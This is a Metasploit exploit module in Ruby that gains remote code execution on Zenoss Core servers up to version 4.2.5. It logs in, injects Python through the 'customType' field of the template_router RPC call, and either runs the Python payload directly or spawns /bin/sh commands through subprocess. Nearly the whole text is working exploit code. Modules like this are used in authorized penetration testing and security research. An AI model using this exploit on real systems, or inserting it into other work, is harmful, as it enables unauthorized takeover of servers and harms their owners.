Zenoss Custom Graph Point Python Injection
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStagerBourne
def initialize(info = {})
super(update_info(info,
'Name' => 'Zenoss Custom Graph Point Python Injection',
'Description' => %q{
This module executes Python code on a Zenoss server as an
authenticated user with the MANAGE_DMD privilege. This privilege
is by default associated with the "ZenManager" and "Manager"
roles. It takes advantage of an unsanitized string which gets
passed to the Python exec function.
The vulnerability exists within the
GraphDefinition.manage_addCustomGraphPoint method in Zenoss Core
versions up to and including 4.2.5.
},
'Author' => 'Spencer McIntyre',
'License' => MSF_LICENSE,
'Platform' => %w{ python linux },
'Arch' => [ ARCH_PYTHON, ARCH_X86, ARCH_X86_64 ],
'References' => [
#[ 'CVE', '' ],
#[ 'EDB', '' ],
#[ 'URL', '' ],
],
'DefaultOptions' =>
{
'PrependFork' => 'true',
'EXITFUNC' => 'process'
},
'Payload' =>
{
'Space' => 4096,
'DisableNops' => true,
},
'Targets' =>
[
[ 'Python', { 'Platform' => 'python', 'Arch' => ARCH_PYTHON } ],
[ 'Linux x86', { 'Platform' => 'linux', 'Arch' => ARCH_X86 } ],
[ 'Linux x64', { 'Platform' => 'linux', 'Arch' => ARCH_X86_64 } ]
],
'DefaultTarget' => 0,
'Privileged' => true,
'DisclosureDate' => 'Aug 28 2013'))
register_options(
[
Opt::RPORT(8080),
OptString.new('USERNAME', [ true, 'The username with admin role to authenticate as', 'admin' ]),
OptString.new('PASSWORD', [ true, 'The password for the specified username', 'password' ]),
OptString.new('TARGETURI', [ true, 'The path to zenoss', '/zport/' ]),
], self.class)
end
def execute_python(python)
data = {
'action' => 'TemplateRouter',
'method' => 'addCustomToGraph',
'data' => [{
'graphUid' => '/zport/dmd/Devices/Server/SSH/Linux/rrdTemplates/Device/graphDefs/Free Swap',
'customId' => rand_text_alphanumeric(4 + rand(6)),
'customType' => "os; #{python}"
}],
'type' => 'rpc',
'tid' => 111
}
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(@uri.path, 'dmd', 'template_router'),
'ctype' => 'application/json',
'cookie' => @cookies,
'data' => JSON.unparse(data)
})
if not (res and res.code == 200)
fail_with(Failure::Unknown, 'Python execution failed')
end
unless res.body.include?('SyntaxError: invalid syntax')
fail_with(Failure::Unknown, 'Python execution failed')
end
end
def execute_command(cmd, opts = {})
python = 'import subprocess; '
python << "subprocess.Popen([\"/bin/sh\", \"-c\", \"#{cmd}\"], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE).wait(); "
execute_python(python)
end
def exploit
@uri = target_uri
@uri.path = normalize_uri(@uri.path)
@uri.path << "/" if @uri.path[-1, 1] != "/"
print_status('Logging in...')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(@uri.path, 'acl_users', 'cookieAuthHelper', 'login'),
'vars_post' =>
{
'submitted' => 'true',
'__ac_name' => Rex::Text.uri_encode(datastore['USERNAME'], 'hex-normal'),
'__ac_password' => Rex::Text.uri_encode(datastore['PASSWORD'], 'hex-normal')
}
})
if not (res and res.code == 302)
fail_with(Failure::NoAccess, 'Login failed')
end
@cookies = res.get_cookies
case target['Arch']
when ARCH_PYTHON
print_status("Executing Python code")
execute_python(payload.encoded)
else
print_status("Executing command stager")
execute_cmdstager({:linemax => 350})
end
end
end